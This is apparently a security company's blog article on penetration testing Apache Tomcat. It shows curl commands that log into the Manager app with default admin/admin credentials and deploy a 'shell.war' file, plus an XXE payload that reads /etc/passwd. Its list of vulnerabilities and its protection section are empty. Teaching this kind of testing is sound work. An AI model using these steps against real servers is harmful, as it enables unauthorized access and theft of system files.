Let me tell you about a client I worked with last year. They had a Java-based web app running on Apache Tomcat, and everything “looked fine.” But during our routine penetration test, we discovered the Manager application was exposed with default credentials. Within minutes, we could deploy a test app and simulate what an attacker could do. This was a classic case of “out of sight, out of mind”—but it could have led to serious data loss.
If you’re running Tomcat, this article is for you. We’ll cover what to look for, common vulnerabilities, and example code so you understand how attackers might try to exploit your server—and how to stop them.
Why Tomcat Needs Penetration Testing
Apache Tomcat powers thousands of Java web apps. It’s reliable, but:
Running a penetration test is about being proactive: finding these weak spots before a hacker does.
Common Vulnerabilities
Step-by-Step Example: Exploiting Tomcat Manager
Let’s say the Manager app is exposed at http://example.com:8080/manager/html.
1. Check for Default Credentials
Many Tomcat installations still use:
Username: admin
Password: admin
You can test this using curl (ethical, on your own server):
curl -u admin:admin http://localhost:8080/manager/html
If you get a 200 OK response, the manager is accessible.
2. Uploading a Malicious WAR File
Tomcat Manager allows you to deploy WAR files. As an attacker (or ethical tester), you might try deploying a simple test WAR:
curl -u admin:admin -T shell.war "http://localhost:8080/manager/text/deploy?path=/shell&update=true"
Once deployed, accessing http://localhost:8080/shell would execute the app—demonstrating what could happen if an attacker got in.
Note: Only do this on systems you own or are authorized to test. Never deploy malicious code on client systems without explicit permission.
3. Checking for XXE Vulnerabilities
If your web app accepts XML, test for XXE by sending a crafted payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<User>
<Name>&xxe;</Name>
</User>
If the server returns the contents of /etc/passwd, it’s vulnerable—time to fix your parser settings.
How to Protect Tomcat
Penetration testing Tomcat isn’t just about running tools—it’s about thinking like an attacker. Small oversights like default passwords or exposed XML parsers can be disastrous. I’ve seen companies fix issues in hours that could have taken months to recover from if exploited.
In short: test early, fix quickly, and stay ahead of attackers.
© 2016 - 2025 Red Secure Tech Ltd. Registered in England and Wales under Company Number: 15581067